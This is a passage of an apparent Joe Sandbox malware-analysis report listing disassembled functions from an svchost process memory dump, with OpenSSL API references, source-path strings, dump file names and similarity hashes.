CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB430FA9
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB430FB2
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB430FCA
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB430FDB

Strings

ssl\ssl_rsa.c, xrefs: 00007FFBAB430F31, 00007FFBAB430F9D, 00007FFBAB430FC3
SSL_CTX_use_serverinfo_ex, xrefs: 00007FFBAB430FB7

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_mallocR_newR_set_debugR_set_errormemcpy
String ID: SSL_CTX_use_serverinfo_ex$ssl\ssl_rsa.c
API String ID: 3414495729-2805076526
Opcode ID: 6dd5d207ab8fdcb36cad2fb8970ce0cc5b2169a5e553794debd27d2ab7c40b17
Instruction ID: 6a898a2bfde6d6f88e2f31b62a4b61b4188bdf7749154eea2d54308d66c960c2
Opcode Fuzzy Hash: 6dd5d207ab8fdcb36cad2fb8970ce0cc5b2169a5e553794debd27d2ab7c40b17
Instruction Fuzzy Hash: A821C5A271AA4185EB52DB22E4912FE6760EF887C4F48C035FE6D47BAADE3DD5448700

Function 00007FFBAB4902C0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB490311
CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB490331
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49034C
memcpy.VCRUNTIME140 ref: 00007FFBAB490394
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4903DC
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4903F2

Strings

ssl\statem\statem_dtls.c, xrefs: 00007FFBAB490301, 00007FFBAB49032A, 00007FFBAB490342, 00007FFBAB4903CF, 00007FFBAB4903E5

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$O_mallocO_zallocmemcpy
String ID: ssl\statem\statem_dtls.c
API String ID: 2462724457-3166991913
Opcode ID: 90f33b9d4b48c744c714bce5c65b5c8c6e3ade802c3c2a19bb8dfdd2f96a43ba
Instruction ID: 03a3fd1c70414e13ae10d0231c5438d10e5d758b036394e69b1852dc75c9dc0f
Opcode Fuzzy Hash: 90f33b9d4b48c744c714bce5c65b5c8c6e3ade802c3c2a19bb8dfdd2f96a43ba
Instruction Fuzzy Hash: 59519CB260AA4186EB26CF36D4903AD77A0FB48B88F048436DF9D47365DF38E561C300

Function 00007FFBAB498426 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49DD7A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49DD92
CRYPTO_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49DE90

Part of subcall function 00007FFBAB49C5A0: ERR_new.LIBCRYPTO-3-X64(?,?,00007FFBAB49DD65), ref: 00007FFBAB49C62D
Part of subcall function 00007FFBAB49C5A0: ERR_set_debug.LIBCRYPTO-3-X64(?,?,00007FFBAB49DD65), ref: 00007FFBAB49C645

Part of subcall function 00007FFBAB419F90: CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB41A012
Part of subcall function 00007FFBAB419F90: memset.VCRUNTIME140 ref: 00007FFBAB41A040
Part of subcall function 00007FFBAB419F90: memcpy.VCRUNTIME140 ref: 00007FFBAB41A075
Part of subcall function 00007FFBAB419F90: CRYPTO_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41A091
Part of subcall function 00007FFBAB419F90: CRYPTO_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41A0EA
Part of subcall function 00007FFBAB419F90: CRYPTO_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41A162

Strings

tls_process_client_key_exchange, xrefs: 00007FFBAB49DD7F, 00007FFBAB49DE47
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB49DD8B, 00007FFBAB49DE53, 00007FFBAB49DE7C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_clear_free$R_newR_set_debug$O_mallocmemcpymemset
String ID: ssl\statem\statem_srvr.c$tls_process_client_key_exchange
API String ID: 1067245891-2683773349
Opcode ID: 1c0b79c31e8a9f3943a6edc68d542a649b7dabfdcd0a743967adedc52196357a
Instruction ID: 94869669fa705eb018ef65ffb2b625f394d20e185a3f4d2275cc346fe2cd98e5
Opcode Fuzzy Hash: 1c0b79c31e8a9f3943a6edc68d542a649b7dabfdcd0a743967adedc52196357a
Instruction Fuzzy Hash: 074162F1E5EA4351FAA69A36E8813BD1651AF54BC0F48D431DE2E477FACE2CE4518300

Function 00007FFBAB4722F0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

BIO_write_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB472332
BIO_write_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB472384
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB47239C
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4723B2
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB472417
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB47242D

Strings

ssl\record\methods\dtls_meth.c, xrefs: 00007FFBAB47238D, 00007FFBAB4723A5, 00007FFBAB472406, 00007FFBAB472420

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$O_write_ex
String ID: ssl\record\methods\dtls_meth.c
API String ID: 4226350071-3591241555
Opcode ID: bde0cab8d0c369b78131248d5be2cbc1ed3454a649133427173d6e401b38db80
Instruction ID: 7b45adbedbc9e7934165224e3e85dca110e139cf8ff5ad91fbad880eb59bd7cd
Opcode Fuzzy Hash: bde0cab8d0c369b78131248d5be2cbc1ed3454a649133427173d6e401b38db80
Instruction Fuzzy Hash: 1E4180B1B0AA8282EE16EB72E4412B96360FF89BC4F448032DE6C47775DF2CE495C740

Function 00007FFBAB42BC10 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42BC6C
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42BC84
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB42BC94
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42BCC1
CRYPTO_strdup.LIBCRYPTO-3-X64 ref: 00007FFBAB42BCDB

Strings

SSL_use_psk_identity_hint, xrefs: 00007FFBAB42BC71
ssl\ssl_lib.c, xrefs: 00007FFBAB42BC7D, 00007FFBAB42BCAD, 00007FFBAB42BCD1

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_strdupR_newR_set_debugR_set_error
String ID: SSL_use_psk_identity_hint$ssl\ssl_lib.c
API String ID: 598019968-2430927796
Opcode ID: 1ea449a0176887930c424f68ffd28c0cbadf460d2bd31b526b59dad1a35b383e
Instruction ID: 52f571c64d86579a5371407c939980da66ba97ea0819128dbbecb986dce3aea4
Opcode Fuzzy Hash: 1ea449a0176887930c424f68ffd28c0cbadf460d2bd31b526b59dad1a35b383e
Instruction Fuzzy Hash: 4431D2A1F1AA4285FB92CB36D4813BC33A0DF84B80F589035DE2C8B7B5DE2ED4858701

Function 00007FFBAB4568B0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 203COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB4568DC
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4569A7

Part of subcall function 00007FFBAB458FD0: ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB45903D
Part of subcall function 00007FFBAB458FD0: ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB45904A
Part of subcall function 00007FFBAB458FD0: ERR_vset_error.LIBCRYPTO-3-X64 ref: 00007FFBAB459062

Strings

ssl\quic\quic_impl.c, xrefs: 00007FFBAB4568CE, 00007FFBAB4568F7, 00007FFBAB45697C, 00007FFBAB45699D, 00007FFBAB456B17, 00007FFBAB456B62, 00007FFBAB456C08
ossl_quic_new, xrefs: 00007FFBAB4568EB, 00007FFBAB456970, 00007FFBAB456BF6
create_channel, xrefs: 00007FFBAB456ACF, 00007FFBAB456B02, 00007FFBAB456B4D
@, xrefs: 00007FFBAB456BB9

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_zallocR_newR_set_debugR_vset_error
String ID: @$create_channel$ossl_quic_new$ssl\quic\quic_impl.c
API String ID: 1707950466-414960852
Opcode ID: dfe8ce2f5f752a5847011871b0bfa246798d21550bca569168ae90550036ef29
Instruction ID: a68a1129afdc29575989c094ae617e94fbb143d035cbc59f5af2b3d1e2176c55
Opcode Fuzzy Hash: dfe8ce2f5f752a5847011871b0bfa246798d21550bca569168ae90550036ef29
Instruction Fuzzy Hash: 57A173B2A0AB4281FB62DF35E4406AD67A4FB84B84F548236DEAD47769DF3CD940C740

Function 00007FFBAB45C210 Relevance: 10.7, APIs: 7, Instructions: 187COMMON

Download Yara Rule

APIs

EVP_CIPHER_CTX_get_iv_length.LIBCRYPTO-3-X64(?,00000031,00000000,00000000,?,00000001,-00000128,?,00007FFBAB45CD0E,00000000,?,00000000,?,?,00000000,00000000), ref: 00007FFBAB45C37A
memcpy.VCRUNTIME140(?,00000031,00000000,00000000,?,00000001,-00000128,?,00007FFBAB45CD0E,00000000,?,00000000,?,?,00000000,00000000), ref: 00007FFBAB45C39E
EVP_CipherInit_ex.LIBCRYPTO-3-X64(?,00000031,00000000,00000000,?,00000001,-00000128,?,00007FFBAB45CD0E,00000000,?,00000000,?,?,00000000,00000000), ref: 00007FFBAB45C410
EVP_CIPHER_CTX_ctrl.LIBCRYPTO-3-X64(?,00000031,00000000,00000000,?,00000001,-00000128,?,00007FFBAB45CD0E,00000000,?,00000000,?,?,00000000,00000000), ref: 00007FFBAB45C432
EVP_CipherUpdate.LIBCRYPTO-3-X64(?,00000031,00000000,00000000,?,00000001,-00000128,?,00007FFBAB45CD0E,00000000,?,00000000,?,?,00000000,00000000), ref: 00007FFBAB45C450
EVP_CipherUpdate.LIBCRYPTO-3-X64(?,00000031,00000000,00000000,?,00000001,-00000128,?,00007FFBAB45CD0E,00000000,?,00000000,?,?,00000000,00000000), ref: 00007FFBAB45C473
EVP_CipherFinal_ex.LIBCRYPTO-3-X64(?,00000031,00000000,00000000,?,00000001,-00000128,?,00007FFBAB45CD0E,00000000,?,00000000,?,?,00000000,00000000), ref: 00007FFBAB45C487

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: Cipher$Update$Final_exInit_exX_ctrlX_get_iv_lengthmemcpy
String ID:
API String ID: 1713099526-0
Opcode ID: ae4966a4ba86e44269781f7c9de355cd7975bb776e5f628b99d2519fa1978a93
Instruction ID: e73b43737626a31c7686b705221400d281be8eec1c72b12a5ed9cc931c060e85
Opcode Fuzzy Hash: ae4966a4ba86e44269781f7c9de355cd7975bb776e5f628b99d2519fa1978a93
Instruction Fuzzy Hash: 3E711572A1EB9582EB22DB39D440ABE7761FB86784F048535DE9D43B6ADE3CE450C700

Function 00007FFBAB44A330 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB44A364
OPENSSL_LH_new.LIBCRYPTO-3-X64 ref: 00007FFBAB44A3D6
OPENSSL_LH_set_thunks.LIBCRYPTO-3-X64 ref: 00007FFBAB44A3FF

Strings

ssl\quic\quic_ackm.c, xrefs: 00007FFBAB44A355, 00007FFBAB44A4F8

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_newH_set_thunksO_zalloc
String ID: ssl\quic\quic_ackm.c
API String ID: 1913221612-1180045938
Opcode ID: 312ca6fd29102169aac6c21b5ef1355aa77e5f7e5199564f8895cfdd037a6007
Instruction ID: 576f90e6f6a360f4f13848c579abaff04e5052ad04b25e7b18cb766d18a1a2dd
Opcode Fuzzy Hash: 312ca6fd29102169aac6c21b5ef1355aa77e5f7e5199564f8895cfdd037a6007
Instruction Fuzzy Hash: 2E51BE72A0AB5582E755CB34F8802AA73A0FB44794F548236DFAD437A5EF3CE195C740

Function 00007FFBAB490B30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64(?,00007FFBAB49114B,00000000,?,?,?,?,00007FFBAB491FB3,?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED), ref: 00007FFBAB490B6B
CRYPTO_malloc.LIBCRYPTO-3-X64(?,00007FFBAB49114B,00000000,?,?,?,?,00007FFBAB491FB3,?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED), ref: 00007FFBAB490B8B
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB49114B,00000000,?,?,?,?,00007FFBAB491FB3,?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED), ref: 00007FFBAB490BA6
CRYPTO_zalloc.LIBCRYPTO-3-X64(?,00007FFBAB49114B,00000000,?,?,?,?,00007FFBAB491FB3,?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED), ref: 00007FFBAB490BCD
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB49114B,00000000,?,?,?,?,00007FFBAB491FB3,?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED), ref: 00007FFBAB490BE8

Strings

ssl\statem\statem_dtls.c, xrefs: 00007FFBAB490B5D, 00007FFBAB490B84, 00007FFBAB490B9C, 00007FFBAB490BC6, 00007FFBAB490BE1

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_zalloc$O_malloc
String ID: ssl\statem\statem_dtls.c
API String ID: 2040210391-3166991913
Opcode ID: 6cda075becab3af0e788c9a77e8d74d6d8312209e2894be365d782e07b669772
Instruction ID: dfd6306a41d689d8519da65bc13022514e56d8753f5541ede7e7aa30b668b6ab
Opcode Fuzzy Hash: 6cda075becab3af0e788c9a77e8d74d6d8312209e2894be365d782e07b669772
Instruction Fuzzy Hash: 4A21B0B2A1A61285EA22DF66E8810BD37A1FB44BC4F488435DF6D03B65EF3DE905C700

Function 64947650 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 64947664
RtlLookupFunctionEntry.KERNEL32 ref: 6494767B
RtlVirtualUnwind.KERNEL32 ref: 649476BD
SetUnhandledExceptionFilter.KERNEL32 ref: 64947704
UnhandledExceptionFilter.KERNEL32 ref: 64947711
GetCurrentProcess.KERNEL32 ref: 64947717
TerminateProcess.KERNEL32 ref: 64947725

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentEntryFunctionLookupTerminateUnwindVirtual
String ID:
API String ID: 3266983031-0
Opcode ID: 33ab5fbe6a7f6738baf7fe0598ee7cd881b47e5c4ad5dffd753a986b7fe805ca
Instruction ID: 438d6b427901decc57405f96a3468465558ffb2b952defd0a2bb9f003901ed9e
Opcode Fuzzy Hash: 33ab5fbe6a7f6738baf7fe0598ee7cd881b47e5c4ad5dffd753a986b7fe805ca
Instruction Fuzzy Hash: 6E210479691B0089EB088F65F85478A37FAF749B88F540226DE4D47725EF3AC16AC720

Function 00007FFBAB4123C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FFBAB4123E2
CloseHandle.KERNEL32 ref: 00007FFBAB4123EC
DeleteCriticalSection.KERNEL32 ref: 00007FFBAB4123FA
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB412410
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41242C

Strings

crypto\thread\arch\thread_win.c, xrefs: 00007FFBAB412403, 00007FFBAB412422

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: CloseHandleO_free$CriticalDeleteSection
String ID: crypto\thread\arch\thread_win.c
API String ID: 229191846-2915021490
Opcode ID: fc00095f480be750e8aaaf4deb890c97a185db73c58a544a99d5a012bd22efca
Instruction ID: 52a6a7c5a5a1b42190cf0bcb471e9a2f0751981de75e28b7965b7d1b52e276f7
Opcode Fuzzy Hash: fc00095f480be750e8aaaf4deb890c97a185db73c58a544a99d5a012bd22efca
Instruction Fuzzy Hash: 9D011AB6A1AA5281EB529F36F89137C2760AB85F89F08C135DE2D477A6DF3CD4448701

Function 00007FFBAB418812 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4187DC
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB418839
CRYPTO_strdup.LIBCRYPTO-3-X64 ref: 00007FFBAB41884E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB418863

Strings

ssl3_ctx_ctrl, xrefs: 00007FFBAB4187CE
ssl\s3_lib.c, xrefs: 00007FFBAB4187D5, 00007FFBAB418832, 00007FFBAB418844

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_strdupR_newR_set_debug
String ID: ssl3_ctx_ctrl$ssl\s3_lib.c
API String ID: 1600027128-173183182
Opcode ID: 3ca51c3792552783a2c0ff9086fbf793306b87b3daf39207b7d216cc3670f9e0
Instruction ID: 5757204e75b43ee2546aa4d161eb6ad24294e67a794d054e27ede037487a17e0
Opcode Fuzzy Hash: 3ca51c3792552783a2c0ff9086fbf793306b87b3daf39207b7d216cc3670f9e0
Instruction Fuzzy Hash: 18F069F0A5BB4391EA239772E4822B96315BF40B44F808436EC2D0A6B9DE2EE6448300

Function 00007FFBAB45A7D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

OPENSSL_LH_set_down_load.LIBCRYPTO-3-X64(?,00007FFBAB45B31B,?,00007FFBAB45AD87,?,00007FFBAB4523E0), ref: 00007FFBAB45A7EC
OPENSSL_LH_doall_arg.LIBCRYPTO-3-X64(?,00007FFBAB45B31B,?,00007FFBAB45AD87,?,00007FFBAB4523E0), ref: 00007FFBAB45A7FF
OPENSSL_LH_free.LIBCRYPTO-3-X64(?,00007FFBAB45B31B,?,00007FFBAB45AD87,?,00007FFBAB4523E0), ref: 00007FFBAB45A808
OPENSSL_LH_free.LIBCRYPTO-3-X64(?,00007FFBAB45B31B,?,00007FFBAB45AD87,?,00007FFBAB4523E0), ref: 00007FFBAB45A811
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB45B31B,?,00007FFBAB45AD87,?,00007FFBAB4523E0), ref: 00007FFBAB45A826

Strings

ssl\quic\quic_lcidm.c, xrefs: 00007FFBAB45A81C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_free$H_doall_argH_set_down_loadO_free
String ID: ssl\quic\quic_lcidm.c
API String ID: 2477462044-3923830422
Opcode ID: dffbc30bfe1f6889df76042a01ab6e2ac6416a65dd5eb904e9285d5f2a8e0ae5
Instruction ID: c3264c524afbecf3e7831a3c8f8540a455c173706a2c2c7e6b4825cd8f113ea5
Opcode Fuzzy Hash: dffbc30bfe1f6889df76042a01ab6e2ac6416a65dd5eb904e9285d5f2a8e0ae5
Instruction Fuzzy Hash: 7DF012D1F5665241EE26EB76C8911BC1211AF85B84F44D431DD2E4B3B7DD2CE5568340

Function 00007FFBAB45C700 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 468COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64(00000000,?,00000000,?,?,00000000,00000000,00007FFBAB45C5FE,?,?,00000000,?,00000000,00007FFBAB45BF3E,?,00007FFBAB451207), ref: 00007FFBAB45C786
memcmp.VCRUNTIME140(00000000,?,00000000,?,?,00000000,00000000,00007FFBAB45C5FE,?,?,00000000,?,00000000,00007FFBAB45BF3E,?,00007FFBAB451207), ref: 00007FFBAB45C8CC
memcpy.VCRUNTIME140(00000000,?,00000000,?,?,00000000,00000000,00007FFBAB45C5FE,?,?,00000000,?,00000000,00007FFBAB45BF3E,?,00007FFBAB451207), ref: 00007FFBAB45C92E
memcpy.VCRUNTIME140(00000000,?,00000000,?,?,00000000,00000000,00007FFBAB45C5FE,?,?,00000000,?,00000000,00007FFBAB45BF3E,?,00007FFBAB451207), ref: 00007FFBAB45CAD6

Strings

ssl\quic\quic_record_rx.c, xrefs: 00007FFBAB45C77F

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
